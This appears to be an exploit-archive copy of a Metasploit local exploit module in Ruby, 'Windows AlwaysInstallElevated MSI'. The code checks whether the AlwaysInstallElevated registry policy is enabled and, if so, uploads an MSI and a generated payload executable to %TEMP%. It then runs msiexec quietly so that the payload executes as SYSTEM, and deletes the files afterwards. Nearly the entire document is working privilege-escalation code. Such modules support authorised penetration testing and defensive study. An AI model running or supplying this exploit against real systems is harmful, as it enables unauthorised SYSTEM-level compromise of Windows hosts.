Windows AlwaysInstallElevated MSI

2012-11-29 22:05:20

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/windows/registry'
require 'msf/core/post/common'
require 'msf/core/post/file'

class Metasploit3 < Msf::Exploit::Local
Rank = AverageRanking

include Msf::Exploit::EXE
include Msf::Post::Common
include Msf::Post::File
include Msf::Post::Windows::Registry

def initialize(info={})
super(update_info(info, {
'Name' => 'Windows AlwaysInstallElevated MSI',
'Description' => %q{
This module checks the AlwaysInstallElevated registry keys which dictate if
.MSI files should be installed with elevated privileges (NT AUTHORITY\SYSTEM).

The default MSI file is data/exploits/exec_payload.msi with the WiX source file
under external/source/exploits/exec_payload_msi/exec_payload.wxs. This MSI simply
executes payload.exe within the same folder.

The MSI may not execute succesfully successive times, but may be able to get around
this by regenerating the MSI.

MSI can be rebuilt from the source using the WIX tool with the following commands:
candle exec_payload.wxs
light exec_payload.wixobj
},
'License' => MSF_LICENSE,
'Author' =>
[
'Ben Campbell',
'Parvez Anwar' # discovery?/inspiration
],
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' =>
{
'WfsDelay' => 10,
'EXITFUNC' => 'thread',
'InitialAutoRunScript' => 'migrate -k -f'
},
'Targets' =>
[
[ 'Windows', { } ],
],
'References' =>
[
[ 'URL', 'http://www.greyhathacker.net/?p=185' ],
[ 'URL', 'http://msdn.microsoft.com/en-us/library/aa367561(VS.85).aspx' ],
[ 'URL', 'http://wix.sourceforge.net'] ,
],
'DisclosureDate'=> 'Mar 18 2010',
'DefaultTarget' => 0
}))

register_advanced_options([
OptString.new('LOG_FILE', [false, 'Remote path to output MSI log file to.', nil]),
OptBool.new('QUIET', [true, 'Run the MSI with the /quiet flag.', true])
], self.class)
end

def check
install_elevated = "AlwaysInstallElevated"
installer = "SOFTWARE\\Policies\\Microsoft\\Windows\\Installer"
hkcu = "HKEY_CURRENT_USER\\#{installer}"
hklm = "HKEY_LOCAL_MACHINE\\#{installer}"

local_machine_value = registry_getvaldata(hklm,install_elevated)

if local_machine_value.nil?
print_error("#{hklm}\\#{install_elevated} does not exist or is not accessible.")
return Msf::Exploit::CheckCode::Safe
elsif local_machine_value == 0
print_error("#{hklm}\\#{install_elevated} is #{local_machine_value}.")
return Msf::Exploit::CheckCode::Safe
else
print_good("#{hklm}\\#{install_elevated} is #{local_machine_value}.")
current_user_value = registry_getvaldata(hkcu,install_elevated)
end

if current_user_value.nil?
print_error("#{hkcu}\\#{install_elevated} does not exist or is not accessible.")
return Msf::Exploit::CheckCode::Safe
elsif current_user_value == 0
print_error("#{hkcu}\\#{install_elevated} is #{current_user_value}.")
return Msf::Exploit::CheckCode::Safe
else
print_good("#{hkcu}\\#{install_elevated} is #{current_user_value}.")
return Msf::Exploit::CheckCode::Vulnerable
end
end

def cleanup
if not @executed
return
end

begin
print_status("Deleting MSI...")
file_rm(@msi_destination)
rescue Rex::Post::Meterpreter::RequestError => e
print_error(e.to_s)
print_error("Failed to delete MSI #{@msi_destination}, manual cleanup may be required.")
end

begin
print_status("Deleting Payload...")
file_rm(@payload_destination)
rescue Rex::Post::Meterpreter::RequestError => e
print_error(e.to_s)
print_error("Failed to delete payload #{@payload_destination}, this is expected if the exploit is successful, manual cleanup may be required.")
end
end

def exploit

if check != Msf::Exploit::CheckCode::Vulnerable
@executed = false
return
end

@executed = true

msi_filename = "exec_payload.msi" # Rex::Text.rand_text_alpha((rand(8)+6)) + ".msi"
msi_source = ::File.join(Msf::Config.install_root, "data", "exploits", "exec_payload.msi")

# Upload MSI
@msi_destination = expand_path("%TEMP%\\#{msi_filename}").strip # expand_path in Windows Shell adds a newline and has to be stripped
print_status("Uploading the MSI to #{@msi_destination} ...")

#upload_file - ::File.read doesn't appear to work in windows...
source = File.open(msi_source, "rb"){|fd| fd.read(fd.stat.size) }
write_file(@msi_destination, source)

# Upload payload
payload = generate_payload_exe
@payload_destination = expand_path("%TEMP%\\payload.exe").strip
print_status("Uploading the Payload to #{@payload_destination} ...")
write_file(@payload_destination, payload)

# Execute MSI
print_status("Executing MSI...")

if datastore['LOG_FILE'].nil?
logging = ""
else
logging = "/l* #{datastore['LOG_FILE']} "
end

if datastore['QUIET']
quiet = "/quiet "
else
quiet = ""
end

cmd = "msiexec.exe #{logging}#{quiet}/package #{@msi_destination}"
vprint_status("Executing: #{cmd}")
begin
result = cmd_exec(cmd)
rescue Rex::TimeoutError
vprint_status("Execution timed out.")
end
vprint_status("MSI command-line feedback: #{result}")
end
end

Fixes

No fixes

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